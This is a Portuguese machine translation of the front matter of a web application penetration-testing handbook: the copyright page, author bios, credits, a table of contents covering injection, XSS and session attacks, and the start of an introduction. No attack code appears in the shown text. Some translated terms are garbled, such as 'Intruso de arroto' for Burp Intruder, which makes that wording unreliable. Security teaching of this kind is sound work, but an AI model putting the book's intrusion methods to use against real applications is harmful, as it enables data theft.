The Web Application Hacker's Handbook

Finding and Exploiting Security Flaws

2 Second Edition

Dafydd Stuttard
Marcus Pinto

O Manual do Hacker de Aplicativos da Web

Segunda edição

Localização e exploração de falhas de segurança

Dafydd Stuttard
Marcus Pinto

WILEY
Wiley Publishing, Inc.

O Manual do Hacker de Aplicativos da Web: Finding and Exploiting Security Flaws, Second Edition (Encontrando e explorando falhas de segurança)

Publicado por
John Wiley & Sons, Inc.
10475 Crosspoint Boulevard
Indianápolis, IN 46256
www.wiley.com

Copyright © 2011 por Dafydd Stuttard e Marcus Pinto Publicado
por John Wiley & Sons, Inc., Indianápolis, Indiana

Publicado simultaneamente no Canadá

ISBN: 978-1-118-02647-2
ISBN: 978-1-118-17522-4 (ebk)
ISBN: 978-1-118-17524-8 (ebk)
ISBN: 978-1-118-17523-1 (ebk)

Fabricado nos Estados Unidos da América 10 9 8

7 6 5 4 3 2 1

Nenhuma parte desta publicação pode ser reproduzida, armazenada em um sistema de recuperação ou transmitida de qualquer forma ou por qualquer meio, seja eletrônico, mecânico, fotocópia, gravação, digitalização ou outro, exceto conforme permitido pelas Seções 107 ou 108 da Lei de Direitos Autorais dos Estados Unidos de 1976, sem a permissão prévia por escrito da Editora ou autorização mediante o pagamento da taxa apropriada por cópia ao Copyright Clearance Center, 222 Rosewood Drive, Danvers, MA 01923, (978) 750-8400, fax (978) 646-8600. As solicitações de permissão à Editora devem ser endereçadas ao Departamento de Permissões, John Wiley & Sons, Inc., 111 River Street, Hoboken, NJ 07030, (201) 748-6011, fax (201) 748-6008, ou on-line em http://www.wiley.com/go/permissions.

Limite de responsabilidade/isenção de garantia: A editora e o autor não fazem declarações ou garantias com relação à precisão ou integridade do conteúdo desta obra e especificamente se isentam de todas as garantias, incluindo, sem limitação, garantias de adequação a uma finalidade específica. Nenhuma garantia pode ser criada ou ampliada por materiais promocionais ou de vendas. As recomendações e estratégias contidas neste documento podem não ser adequadas a todas as situações. Esta obra é vendida com o entendimento de que a editora não está envolvida na prestação de serviços jurídicos, contábeis ou outros serviços profissionais. Se for necessária assistência profissional, deve-se procurar os serviços de um profissional competente. Nem a editora nem o autor serão responsáveis por danos decorrentes desse fato. O fato de uma organização ou site da Web ser mencionado neste trabalho como uma citação e/ou uma possível fonte de informações adicionais não significa que o autor ou a editora endosse as informações que a organização ou o site possa fornecer ou as recomendações que ele possa fazer. Além disso, os leitores devem estar cientes de que os sites da Internet listados neste trabalho podem ter mudado ou desaparecido entre o momento em que este trabalho foi escrito e o momento em que ele é lido.

Para obter informações gerais sobre nossos outros produtos e serviços, entre em contato com nosso Departamento de Atendimento ao Cliente nos Estados Unidos pelo telefone (877) 762-2974, fora dos Estados Unidos pelo telefone (317) 572-3993 ou pelo fax (317) 572-4002.

A Wiley também publica seus livros em uma variedade de formatos eletrônicos e por impressão sob demanda. Nem todo o conteúdo disponível nas versões impressas padrão deste livro pode aparecer ou ser empacotado em todos os formatos de livros. Caso tenha adquirido uma versão deste livro que não inclua mídia referenciada ou que acompanhe uma versão impressa padrão, você poderá solicitar essa mídia acessando http://booksupport.wiley. com. Para obter mais informações sobre os produtos da Wiley, visite-nos em www.wiley.com.

Número de controle da Biblioteca do Congresso: 2011934639

Marcas registradas: Wiley e o logotipo Wiley são marcas comerciais ou marcas registradas da John Wiley & Sons, Inc. e/ou de suas afiliadas, nos Estados Unidos e em outros países, e não podem ser usados sem permissão por escrito. Todas as outras marcas comerciais são de propriedade de seus respectivos donos. A John Wiley & Sons, Inc. não está associada a nenhum produto ou fornecedor mencionado neste livro.

Sobre a Autores

Dafydd Stuttard é um consultor de segurança independente, autor e desenvolvedor de software. Com mais de 10 anos de experiência em consultoria de segurança, ele se especializou em testes de penetração de aplicativos da Web e software compilado. Dafydd trabalhou com vários bancos, varejistas e outras empresas para ajudar a proteger seus aplicativos da Web. Ele também prestou consultoria de segurança a vários fabricantes de software e governos para ajudar a proteger seus softwares compilados. Dafydd é um programador talentoso em várias linguagens. Seus interesses incluem o desenvolvimento de ferramentas para facilitar todos os tipos de testes de segurança de software. Sob o pseudônimo de "PortSwigger", Dafydd criou o popular Burp Suite de ferramentas de hacking de aplicativos da Web; ele continua trabalhando ativamente no desenvolvimento do Burp. Dafydd também é cofundador da MDSec, uma empresa que oferece treinamento e consultoria sobre ataque e defesa de segurança na Internet. Dafydd desenvolveu e apresentou cursos de treinamento em várias conferências de segurança em todo o mundo e ministra regularmente treinamentos para empresas e governos. Ele tem mestrado e doutorado em filosofia pela Universidade de Oxford.

Marcus Pinto é cofundador da MDSec, desenvolvendo e ministrando cursos de treinamento em segurança de aplicativos da Web. Ele também realiza consultoria de segurança contínua para verticais financeiras, governamentais, de telecomunicações e de varejo. Seus 11 anos de experiência no setor foram dominados pelos aspectos técnicos da segurança de aplicativos, a partir das perspectivas duplas de uma função de consultoria e de implementação para o usuário final. Marcus tem experiência em avaliação de segurança baseada em ataques e testes de penetração. Trabalhou extensivamente com implementações de aplicativos da Web em grande escala no setor de serviços financeiros. Marcus desenvolve e apresenta cursos de treinamento em bancos de dados e aplicativos da Web desde 2005 na Black Hat e em outras conferências mundiais de segurança, bem como para clientes do setor privado e do governo. Ele tem mestrado em física pela Universidade de Cambridge.

Sobre o editor técnico

O Dr. Josh Pauli recebeu seu Ph.D. em Engenharia de Software pela North Dakota State University (NDSU), com ênfase em engenharia de requisitos seguros, e agora atua como Professor Associado de Segurança da Informação na Dakota State University (DSU). O Dr. Pauli publicou cerca de 20 artigos em periódicos e conferências internacionais relacionados à segurança de software, e seu trabalho inclui apresentações convidadas do Departamento de Segurança Interna e do Black Hat Briefings. Ele ministra cursos de graduação e pós-graduação em segurança de software de sistema e segurança de software da Web na DSU. O Dr. Pauli também realiza testes de penetração de aplicativos da Web como Testador de Penetração Sênior para uma empresa de consultoria em Segurança da Informação, onde suas funções incluem o desenvolvimento de workshops técnicos práticos na área de segurança de software da Web para profissionais de TI do setor financeiro.

MDSec: A empresa dos autores

Dafydd e Marcus são cofundadores da MDSec, uma empresa que oferece treinamento em segurança baseada em ataque e defesa, além de outros serviços de consultoria. Se, ao ler este livro, você quiser colocar os conceitos em prática e adquirir experiência prática nas áreas abordadas, recomendamos que visite nosso site, http://mdsec.net. Isso lhe dará acesso a centenas de laboratórios interativos de vulnerabilidade e a outros recursos que são mencionados ao longo do livro.

Créditos

Editor executivo
Carol Long

Editor de projetos sênior
Adaobi Obi Tulton

Editor técnico
Josh Pauli

Editor de produção
Kathleen Wisor

Editor de texto
Gayle Johnson

Gerente Editorial
Mary Beth Wakefield

Gerente editorial freelancer
Rosemarie Graham

Diretor associado de marketing
David Mayhew

Gerente de marketing
Ashley Zurcher

Gerente de negócios
Amy Knies

Gerente de produção
Tim Tate

Vice-presidente e editor do grupo executivo
Richard Swadley

Vice-presidente e editor executivo
Neil Edde

Editora associada
Jim Minatel

Coordenador de projetos, cobertura
Katie Crocker

Revisores
Sarah Kaikini, Word One Sheilah Ledwidge, Word One

Indexador
Robert Swanson

Designer de capa
Ryan Sneed

Imagem da capa
Wiley InHouse Design

Gerente de projetos de sites verticais
Laura Moss-Hollister

Gerente de projetos assistente da Vertical Websites
Jenny Swisher

Sites verticais Produtores associados
Josh Frank Shawn
Patrick Doug
Kuhn Marilyn
Hummel

Agradecimentos

Somos gratos aos diretores e a outras pessoas da Next Generation Security Software, que nos proporcionaram o ambiente adequado para a realização da primeira edição deste livro. Desde então, nossas contribuições vieram de uma comunidade cada vez mais ampla de pesquisadores e profissionais que compartilharam suas ideias e contribuíram para o entendimento coletivo das questões de segurança de aplicativos Web existentes atualmente. Como este é um manual prático e não um trabalho acadêmico, evitamos deliberadamente preenchê-lo com milhares de citações de artigos, livros e postagens de blog influentes que geraram as ideias envolvidas. Esperamos que as pessoas cujo trabalho discutimos anonimamente fiquem satisfeitas com o crédito geral dado aqui.

Somos gratos às pessoas da Wiley, em especial a Carol Long, por apoiar entusiasticamente nosso projeto desde o início, a Adaobi Obi Tulton, por ajudar a polir nosso manuscrito e nos orientar sobre as peculiaridades do "inglês americano", a Gayle Johnson, por sua edição de texto muito útil e atenciosa, e à equipe de Katie Wisor, por entregar uma produção de primeira linha.

Um grande agradecimento é devido às nossas respectivas sócias, Becky e Amanda, por tolerarem a distração e o tempo significativos envolvidos na produção de um livro desse porte.

Ambos os autores estão em dívida com as pessoas que nos conduziram à nossa linha de trabalho incomum. Dafydd gostaria de agradecer a Martin Law. Martin é um cara fantástico que me ensinou a hackear e me incentivou a dedicar meu tempo ao desenvolvimento de técnicas e ferramentas para atacar aplicativos. Marcus gostaria de agradecer a seus pais por tudo o que fizeram e continuam a fazer, inclusive por terem me colocado no mundo dos computadores. Desde então, tenho me envolvido com computadores.

Visão geral do conteúdo

Introdução		xxiii
Capítulo 1	(In)segurança de aplicativos da Web	1
Capítulo 2	Mecanismos de defesa essenciais	17
Capítulo 3	Tecnologias de aplicativos da Web	39
Capítulo 4	Mapeamento do aplicativo	73
Capítulo 5	Ignorando os controles do lado do cliente	117
Capítulo 6	Ataque à autenticação	159
Capítulo 7	Ataque ao gerenciamento de sessões	205
Capítulo 8	Ataque aos controles de acesso	257
Capítulo 9	Ataque a armazenamentos de dados	287
Capítulo 10	Ataque a componentes de back-end	357
Capítulo 11	Ataque à lógica do aplicativo	405
Capítulo 12	Atacando usuários: Scripting entre sites	431
Capítulo 13	Atacando usuários: Outras técnicas	501
Capítulo 14	Automatização de ataques personalizados	571
Capítulo 15	Exploração da divulgação de informações	615
Capítulo 16	Ataque a aplicativos compilados nativos	633
Capítulo 17	Ataque à arquitetura de aplicativos	647
Capítulo 18	Ataque ao servidor de aplicativos	669
Capítulo 19	Identificação de vulnerabilidades no código-fonte	701
Capítulo 20	Um kit de ferramentas para hackers de aplicativos da Web	747
Capítulo 21	Metodologia de um hacker de aplicativos da Web	791
Índice		853

Conteúdo

Introdução xxiii

Capítulo 1 (In)segurança de aplicativos da Web 1
A evolução dos aplicativos da Web 2
Funções comuns de aplicativos da Web 4
Benefícios dos aplicativos da Web 5
Segurança de aplicativos da Web 6
"Este site é seguro" 7
O principal problema de segurança: os usuários podem enviar
Entrada arbitrária 9
Principais fatores problemáticos 10
O novo perímetro de segurança 12
O futuro da segurança de aplicativos da Web 14
Resumo 15

Capítulo 2 Mecanismos de defesa essenciais 17
Manipulação do acesso do usuário 18
Autenticação 18
Gerenciamento de sessões 19
Controle de acesso 20
Manipulação da entrada do usuário 21
Variedades de entrada 21
Abordagens para o tratamento de entradas 23
Validação de limites 25
Validação e canonização em várias etapas 28
Como lidar com os atacantes 30
Tratamento de erros 30
Manutenção de registros de auditoria 31
Alerta aos administradores 33
Reagindo a ataques 34

Gerenciando o aplicativo 35
Resumo 36
Perguntas 36

Capítulo 3 Tecnologias de aplicativos da Web 39
O protocolo HTTP 39
Solicitações HTTP 40
Respostas HTTP 41
Métodos HTTP 42
URLs 44
REST 44
Cabeçalhos HTTP 45
Cookies 47
Códigos de status 48
HTTPS 49
Proxies HTTP 49
Autenticação HTTP 50
Funcionalidade da Web 51
Funcionalidade no lado do servidor 51
Funcionalidade do lado do cliente 57
Estado e sessões 66
Esquemas de codificação 66
Codificação de URL 67
Codificação Unicode 67
Codificação HTML 68
Codificação Base64 69
Codificação hexadecimal 69
Remoção e serialização Estruturas 70
Próximas etapas 70
Perguntas 71

Capítulo 4 Mapeamento do aplicativo 73
Enumeração de conteúdo e funcionalidade 74
Espionagem na Web 74
Spidering direcionado pelo usuário 77
Descobrindo conteúdo oculto 80
Páginas de aplicativos versus Caminhos funcionais 93
Descoberta de parâmetros ocultos 96
Analisando o aplicativo 97
Identificação de pontos de entrada para a entrada do usuário 98
Identificação de tecnologias do lado do servidor 101
Identificação da funcionalidade do lado do servidor 107
Mapeamento da superfície de ataque 111
Resumo 114
Perguntas 114

Capítulo 5 Ignorando os controles do lado do cliente 117
Transmissão de dados por meio do cliente 118
Campos de formulário ocultos 118
Cookies HTTP 121
Parâmetros de URL 121
O cabeçalho de referência 122
Dados opacos 123
O estado de exibição do ASP.NET 124
Capturando dados do usuário: Formulários HTML 127
Limites de comprimento 128
Validação baseada em script 129
Elementos desativados 131
Capturando dados do usuário: Extensões de navegador 133
Tecnologias comuns de extensão de navegador 134
Abordagens para extensões de navegador 135
Interceptação do tráfego de extensões de navegador 135
Descompilação de extensões de navegador 139
Conexão de um depurador 151
Componentes de cliente nativos 153
Manuseio seguro de dados do lado do cliente 154
Transmissão de dados por meio do cliente 154
Validação de dados gerados pelo cliente 155
Registro e alerta 156
Resumo 156
Perguntas 157

Capítulo 6 Ataque à autenticação 159
Tecnologias de autenticação Falhas de design na autenticação 160
Mecanismos 161
Senhas ruins 161
Login à força bruta 162
Mensagens de falha detalhadas 166
Transmissão vulnerável de credenciais 169
Funcionalidade de alteração de senha 171
Funcionalidade de senha esquecida 173
Funcionalidade "Lembrar-me" 176
Funcionalidade de personificação de usuário 178
Validação incompleta de credenciais 180
Nomes de usuário não exclusivos 181
Nomes de usuário previsíveis 182
Senhas iniciais previsíveis 183
Distribuição insegura de credenciais 184
Falhas de implementação na autenticação 185
Mecanismos de login abertos por falha 185
Defeitos em mecanismos de login de vários estágios 186
Armazenamento inseguro de credenciais 190

Protegendo a autenticação 191
Use credenciais sólidas 192
Tratar as credenciais de forma sigilosa 192
Validar credenciais adequadamente 193
Evitar o vazamento de informações 195
Evitar ataques de força bruta 196
Evitar o uso indevido da função de alteração de senha 199
Evitar o uso indevido da função de recuperação de conta 199
Registrar, monitorar e notificar 201
Resumo 201
Perguntas 202

Capítulo 7 Ataque ao gerenciamento de sessões 205
A necessidade do Estado 206
Alternativas às sessões 208
Pontos fracos na geração de tokens 210
Tokens significativos 210
Tokens previsíveis 213
Tokens criptografados 223
Deficiências no manuseio de tokens de sessão 233
Divulgação de tokens na rede 234
Divulgação de tokens em registros 237
Mapeamento vulnerável de tokens para sessões 240
Encerramento de sessão vulnerável 241
Exposição do cliente ao sequestro de token 243
Escopo de cookies liberais 244
Proteção do gerenciamento de sessões 248
Gerar tokens fortes 248
Proteja os tokens durante todo o seu ciclo de vida 250
Registrar, monitorar e alertar 253
Resumo 254
Perguntas 255

Capítulo 8 Ataque aos controles de acesso 257
Vulnerabilidades comuns 258
Funcionalidade totalmente desprotegida 259
Funções baseadas em identificadores 261
Funções de vários estágios 262
Arquivos estáticos 263
Configuração incorreta da plataforma 264
Métodos de controle de acesso inseguro 265
Ataque aos controles de acesso 266
Testes com diferentes contas de usuário 267
Teste de processos de vários estágios 271
Testes com acesso limitado 273
Teste de acesso direto a métodos 276
Teste de controles sobre recursos estáticos 277

Teste de restrições em métodos HTTP 278
Proteção dos controles de acesso 278
Um modelo de privilégios em várias camadas 280
Resumo 284
Perguntas 284

Capítulo 9 Ataque a armazenamentos de dados 287
Injetando em contextos interpretados 288
Como contornar um login 288
Injeção em SQL 291
Exploração de uma vulnerabilidade básica 292
Injetando em diferentes tipos de demonstrativos 294
Localização de erros de injeção de SQL 298
Impressão digital do banco de dados 303
O operador UNION 304
Extração de dados úteis 308
Extração de dados com UNION 308
Ignorando filtros 311
Injeção de SQL de segunda ordem 313
Exploração avançada 314
Além da injeção de SQL: Escalando o Ataque ao banco de dados 325
Uso de ferramentas de exploração de SQL 328
Sintaxe SQL e referência de erros 332
Prevenção de injeção de SQL 338
Injetando no NoSQL 342
Injetando no MongoDB 343
Injetando no XPath 344
Subvertendo a lógica do aplicativo 345
Injeção informada de XPath 346
Injeção cega de XPath 347
Localização de falhas de injeção de XPath 348
Como evitar a injeção de XPath 349
Injeção no LDAP 349
Exploração da injeção de LDAP 351
Localização de falhas de injeção de LDAP 353
Como evitar a injeção de LDAP 354
Resumo 354
Perguntas 354

Capítulo 10 Ataque a componentes de back-end 357
Injeção de comandos do sistema operacional 358
Exemplo 1: injetando via Perl 358
Exemplo 2: injetando via ASP 360
Injeção por meio de execução dinâmica 362
Identificação de falhas de injeção de comandos do sistema operacional 363
Identificação de vulnerabilidades de execução dinâmica 366

Como evitar a injeção de comandos do sistema operacional 367
Prevenção de vulnerabilidades de injeção de scripts 368
Manipulação de caminhos de arquivos 368
Vulnerabilidades de passagem de caminho 368
Vulnerabilidades de inclusão de arquivos 381
Injetando em interpretadores XML 383
Injeção de entidades externas XML 384
Injetando em serviços SOAP 386
Como encontrar e explorar a injeção de SOAP 389
Como evitar a injeção de SOAP 390
Injeção em solicitações HTTP de back-end 390
Redirecionamento de HTTP no lado do servidor 390
Injeção de parâmetros HTTP 393
Injetando em serviços de correio 397
Manipulação de cabeçalhos de e-mail 398
Injeção de comando SMTP 399
Localização de falhas de injeção de SMTP 400
Como evitar a injeção de SMTP 402
Resumo 402
Perguntas 403

Capítulo 11 Ataque à lógica do aplicativo 405
A natureza das falhas de lógica 406
Falhas de lógica no mundo real 406
Exemplo 1: perguntando ao oráculo 407
Exemplo 2: Enganando uma função de alteração de senha 409
Exemplo 3: Prosseguindo para o checkout 410
Exemplo 4: Como contratar seu próprio seguro 412
Exemplo 5: Quebrando o banco 414
Exemplo 6: Superando um limite de negócios 416
Exemplo 7: Fraude nos descontos em massa 418
Exemplo 8: Fugindo da fuga 419
Exemplo 9: Invalidando a validação de entrada 420
Exemplo 10: Abuso de uma função de pesquisa 422
Exemplo 11: Como extrair mensagens de depuração 424
Exemplo 12: Correndo contra o login 426
Evitando falhas de lógica 428
Resumo 429
Perguntas 430

Capítulo 12 Atacando usuários: Scripting entre sites 431
Variedades de XSS 433
Vulnerabilidades de XSS refletidas 434
Vulnerabilidades de XSS armazenadas 438
Vulnerabilidades XSS baseadas em DOM 440
Ataques XSS em ação 442
Ataques XSS no mundo real 442

Cargas úteis para ataques XSS 443
Mecanismos de entrega para ataques XSS 447
Localização e exploração de vulnerabilidades de XSS 451
Encontrando e explorando vulnerabilidades de XSS refletidas 452
Localização e exploração de vulnerabilidades de XSS armazenadas 481
Encontrando e explorando vulnerabilidades de XSS baseadas em DOM 487
Prevenção de ataques XSS 492
Prevenção de XSS refletido e armazenado 492
Prevenção de XSS baseado em DOM 496
Resumo 498
Perguntas 498

Capítulo 13 Ataque a usuários: Outras técnicas 501
Induzindo ações do usuário 501
Solicitação de falsificação 502
Reparação da UI 511
Captura de dados entre domínios 515
Capturando dados por meio de injeção de HTML 516
Capturando dados por meio de injeção de CSS 517
Sequestro de JavaScript 519
A política de mesma origem revisitada 524
A política de mesma origem e as extensões de navegador 525
A política de mesma origem e o HTML5 528
Cruzamento de domínios com aplicativos de serviço de proxy 529
Outros ataques de injeção no lado do cliente 531
Injeção de cabeçalho HTTP 531
Injeção de cookies 536
Vulnerabilidades de redirecionamento aberto 540
Injeção de SQL no lado do cliente 547
Poluição de parâmetros HTTP no lado do cliente 548
Ataques à privacidade local 550
Cookies persistentes 550
Conteúdo da Web armazenado em cache 551
Histórico de navegação 552
Autocompletar 552
Objetos compartilhados locais do Flash 553
Armazenamento isolado do Silverlight 553
Dados do usuário do Internet Explorer 554
Mecanismos de armazenamento local em HTML5 554
Prevenção de ataques à privacidade local 554
Ataque a controles ActiveX 555
Encontrando vulnerabilidades de ActiveX 556
Prevenção de vulnerabilidades do ActiveX 558
Atacando o navegador 559
Registro de pressionamentos de teclas 560
Roubo de histórico do navegador e consultas de pesquisa 560

Enumerar os aplicativos usados atualmente 560
Varredura de portas 561
Ataque a outros hosts de rede 561
Exploração de serviços não HTTP 562
Exploração de bugs do navegador 563
Reenvio de DNS 563
Estruturas de exploração de navegadores 564
Ataques Man-in-the-Middle 566
Resumo 568
Perguntas 568

Capítulo 14 Automatização de ataques personalizados 571
Usos da automação personalizada 572
Enumerando identificadores válidos 573
A abordagem básica 574
Detecção de acertos 574
Criação de scripts para o ataque 576
JAttack 577
Coleta de dados úteis 583
Fuzzing para vulnerabilidades comuns 586
Colocando tudo junto: Intruso de arroto 590
Barreiras à automação 602
Mecanismos de tratamento de sessão 602
Controles CAPTCHA 610
Resumo 613
Perguntas 613

Capítulo 15 Exploração da divulgação de informações 615
Exploração de mensagens de erro 615
Mensagens de erro do script 616
Traços de pilha 617
Mensagens informativas de depuração 618
Mensagens do servidor e do banco de dados 619
Uso de informações públicas 623
Mensagens de erro informativas de engenharia 624
Coleta de informações publicadas 625
Usando a inferência 626
Prevenção de vazamento de informações 627
Usar mensagens de erro genéricas 628
Proteger informações confidenciais 628
Minimizar o vazamento de informações no lado do cliente 629
Resumo 629
Perguntas 630

Capítulo 16 Ataque a aplicativos compilados nativos 633
Vulnerabilidades de estouro de buffer 634
Estouro de pilha 634
Estouro de pilha 635

"Vulnerabilidades "off-by-one 636
Detecção de vulnerabilidades de estouro de buffer 639
Vulnerabilidades de números inteiros 640
Estouro de números inteiros 640
Erros de sinalização 641
Detecção de vulnerabilidades de números inteiros 642
Vulnerabilidades de formatação de strings 643
Detecção de vulnerabilidades de cadeias de caracteres de formato 644
Resumo 645
Perguntas 645

Capítulo 17 Ataque à arquitetura de aplicativos 647
Arquiteturas em camadas 647
Ataque a arquiteturas em camadas 648
Proteção de arquiteturas em camadas 654
Hospedagem compartilhada e provedores de serviços de aplicativos 656
Hospedagem virtual 657
Serviços de aplicativos compartilhados 657
Ataque a ambientes compartilhados 658
Proteção de ambientes compartilhados 665
Resumo 667
Perguntas 667

Capítulo 18 Ataque ao servidor de aplicativos 669
Configuração de servidor vulnerável 670
Credenciais padrão 670
Conteúdo padrão 671
Listagens de diretórios 677
Métodos WebDAV 679
O servidor de aplicativos como um proxy 682
Hospedagem virtual mal configurada 683
Proteção da configuração do servidor Web 684
Software de servidor vulnerável 684
Falhas na estrutura do aplicativo 685
Vulnerabilidades de gerenciamento de memória 687
Codificação e canonização 689
Identificação de falhas no servidor da Web 694
Proteção do software do servidor da Web 695
Firewalls de aplicativos da Web 697
Resumo 699
Perguntas 699

Capítulo 19 Identificação de vulnerabilidades no código-fonte 701
Abordagens para revisão de código 702
Teste de caixa preta versus teste de caixa branca 702
Metodologia de revisão de código 703
Assinaturas de vulnerabilidades comuns 704
Scripting entre sites 704

Injeção de SQL 705
Travessia de caminho 706
Redirecionamento arbitrário 707
Injeção de comando do sistema operacional 708
Senhas de backdoor 708
Bugs de software nativo 709
Código-fonte Comentários 710
A plataforma Java 711
Identificação de dados fornecidos pelo usuário 711
Interação de sessões 712
APIs potencialmente perigosas 713
Configuração do ambiente Java 716
ASP.NET 718
Identificação de dados fornecidos pelo usuário 718
Interação de sessões 719
APIs potencialmente perigosas 720
Configuração do ambiente ASP.NET 723
PHP 724
Identificação de dados fornecidos pelo usuário 724
Interação de sessões 727
APIs potencialmente perigosas 727
Configuração do ambiente PHP 732
Perl 735
Identificação de dados fornecidos pelo usuário 735
Interação de sessões 736
APIs potencialmente perigosas 736
Configuração do ambiente Perl 739
JavaScript 740
Componentes do código do banco de dados 741
Injeção de SQL 741
Chamadas para funções perigosas 742
Ferramentas para navegação de código 743
Resumo 744
Perguntas 744

Capítulo 20 Um kit de ferramentas para hackers de aplicativos da Web 747
Navegadores da Web 748
Internet Explorer 748
Firefox 749
Cromado 750
Suítes de teste integradas 751
Como as ferramentas funcionam 751
Fluxo de trabalho de teste 769
Alternativas ao proxy de interceptação 771
Scanners de vulnerabilidade autônomos 773
Vulnerabilidades detectadas por scanners 774
Limitações inerentes aos scanners 776

Desafios técnicos enfrentados pelos scanners 778
Produtos atuais 781
Uso de um scanner de vulnerabilidade 783
Outras ferramentas 785
Wikto/Nikto 785
Firebug 785
Hydra 785
Scripts personalizados 786
Resumo 789

Capítulo 21 Metodologia de um hacker de aplicativos da Web 791
Diretrizes gerais 793
1 Mapear o conteúdo do aplicativo 795
1.1 Explore o Visible Content 795
1.2 Consultar Recursos Públicos 796
1.3 Descubra o conteúdo oculto 796
1.4 Descubra o conteúdo padrão 797
1.5 Enumerar funções especificadas por identificador 797
1.6 Teste de parâmetros de depuração 798
2 Analisar o aplicativo 798
2.1 Identificar a funcionalidade 798
2.2 Identificar pontos de entrada de dados 799
2.3 Identificar as tecnologias utilizadas 799
2.4 Mapear a superfície de ataque 800
3 Teste os controles do lado do cliente 800
3.1 Teste de transmissão de dados por meio do cliente 801
3.2 Teste os controles do lado do cliente sobre a entrada do usuário 801
3.3 Teste os componentes da extensão do navegador 802
4 Teste o mecanismo de autenticação 805
4.1 Entenda o mecanismo 805
4.2 Teste a qualidade da senha 806
4.3 Teste para enumeração de nome de usuário 806
4.4 Teste a resistência à adivinhação de senhas 807
4.5 Teste qualquer função de recuperação de conta 807
4.6 Teste qualquer função Remember Me 808
4.7 Teste qualquer função de personificação 808
4.8 Testar a exclusividade do nome de usuário 809
4.9 Teste a previsibilidade das credenciais geradas automaticamente 809
4.10 Verificação de transmissão insegura de credenciais 810
4.11 Verificação de distribuição insegura de credenciais 810
4.12 Teste de armazenamento inseguro 811
4.13 Teste de falhas lógicas 811
4.14 Explore quaisquer vulnerabilidades para obter acesso não autorizado 813
5 Teste o mecanismo de gerenciamento de sessão 814
5.1 Entenda o mecanismo 814
5.2 Testar o significado dos tokens 815
5.3 Tokens de teste para previsibilidade 816

5.4 Verificação de transmissão insegura de tokens 817
5.5 Verificação de divulgação de tokens em registros 817
5.6 Verificar o mapeamento de tokens para sessões 818
5.7 Encerramento da sessão de teste 818
5.8 Verificação da fixação da sessão 819
5.9 Verificação de CSRF 820
5.10 Verificar o escopo do cookie 820
6 Testar controles de acesso 821
6.1 Entenda os requisitos de controle de acesso 821
6.2 Teste com várias contas 822
6.3 Teste com acesso limitado 822
6.4 Teste de métodos de controle de acesso inseguro 823
7 Teste de vulnerabilidades baseadas em entrada 824
7.1 Parâmetros de solicitação do Fuzz All 824
7.2 Teste de injeção de SQL 827
7.3 Teste de XSS e outras injeções de resposta 829
7.4 Teste de injeção de comando do sistema operacional 832
7.5 Teste de passagem de caminho 833
7.6 Teste de injeção de script 835
7.7 Teste de inclusão de arquivos 835
8 Teste de vulnerabilidades de entrada específicas da função 836
8.1 Teste de injeção de SMTP 836
8.2 Teste de vulnerabilidades de software nativo 837
8.3 Teste para injeção de SOAP 839
8.4 Teste para injeção de LDAP 839
8.5 Teste para injeção de XPath 840
8.6 Teste de injeção de solicitação de back-end 841
8.7 Teste para injeção de XXE 841
9 Teste de falhas lógicas 842
9.1 Identificar a principal superfície de ataque 842
9.2 Teste de processos de múltiplos estágios 842
9.3 Teste de manipulação de entrada incompleta 843
9.4 Testar limites de confiança 844
9.5 Lógica de transação de teste 844
10 Teste de vulnerabilidades de hospedagem compartilhada 845
10.1 Segregação de testes em infraestruturas compartilhadas 845
10.2 Segregação de testes entre aplicativos hospedados em ASP 845
11 Teste de vulnerabilidades do servidor de aplicativos 846
11.1 Teste de credenciais padrão 846
11.2 Teste de conteúdo padrão 847
11.3 Teste de métodos HTTP perigosos 847
11.4 Teste de funcionalidade de proxy 847
11.5 Teste de configuração incorreta de hospedagem virtual 847
11.6 Teste de bugs no software do servidor da Web 848
11.7 Teste para Firewall de Aplicativo da Web 848

12 Cheques diversos 849
12.1 Verificação de ataques baseados em DOM 849
12.2 Verificação de vulnerabilidades de privacidade local 850
12.3 Verificação de cifras SSL fracas 851
12.4 Verificar a configuração da política de mesma origem 851
13 Acompanhamento de qualquer vazamento de informações 852

Índice 853

Introdução

Este livro é um guia prático para descobrir e explorar falhas de segurança em aplicativos da Web. Por "aplicativos da Web" entendemos aqueles que são acessados por meio de um navegador da Web para se comunicar com um servidor da Web. Examinamos uma ampla variedade de tecnologias diferentes, como bancos de dados, sistemas de arquivos e serviços da Web, mas somente no contexto em que são empregados por aplicativos da Web.

Se você quiser aprender a executar varreduras de portas, atacar firewalls ou invadir serviços de outras formas, sugerimos que procure outro livro. Mas se quiser saber como invadir um aplicativo da Web, roubar dados confidenciais e executar ações não autorizadas, este é o livro certo para você. Há o suficiente de interessante e divertido para falar sobre esse assunto sem se desviar para qualquer outro território.

Visão geral deste livro

O foco deste livro é altamente prático. Embora incluamos teoria e base suficientes para que você entenda as vulnerabilidades que os aplicativos Web contêm, nossa principal preocupação são as tarefas e técnicas que você precisa dominar para invadir esses aplicativos. Ao longo do livro, explicamos as etapas específicas que você precisa seguir para detectar cada tipo de vulnerabilidade e como explorá-la para realizar ações não autorizadas. Também incluímos uma grande quantidade de exemplos reais, derivados dos muitos anos de experiência dos autores, ilustrando como diferentes tipos de falhas de segurança se manifestam nos aplicativos da Web atuais.

A conscientização sobre segurança geralmente é uma faca de dois gumes. Assim como os desenvolvedores de aplicativos podem se beneficiar da compreensão dos métodos usados pelos invasores, os hackers podem se beneficiar do conhecimento de como os aplicativos podem se defender com eficácia. Além de descrever as vulnerabilidades de segurança e as técnicas de ataque, descrevemos em detalhes as contramedidas que os aplicativos podem adotar para impedir um ataque.

atacante. Se você realizar testes de penetração de aplicativos da Web, isso permitirá que você forneça recomendações de correção de alta qualidade aos proprietários dos aplicativos comprometidos.

Quem deve ler este livro

O público principal deste livro é qualquer pessoa que tenha interesse pessoal ou profissional em atacar aplicativos da Web. Ele também se destina a qualquer pessoa responsável pelo desenvolvimento e administração de aplicativos Web. Saber como seus inimigos operam o ajudará a se defender contra eles.

Presumimos que você esteja familiarizado com os principais conceitos de segurança, como logins e controles de acesso, e que tenha uma noção básica das principais tecnologias da Web, como navegadores, servidores Web e HTTP. No entanto, qualquer lacuna em seu conhecimento atual dessas áreas será fácil de resolver, seja por meio das explicações contidas neste livro ou de referências em outros lugares.

Durante a ilustração de muitas categorias de falhas de segurança, fornecemos trechos de código que mostram como os aplicativos podem ser vulneráveis. Esses exemplos são simples o suficiente para que você possa entendê-los sem nenhum conhecimento prévio da linguagem em questão. Mas eles são mais úteis se você tiver alguma experiência básica com leitura ou escrita de código.

Como este livro está organizado

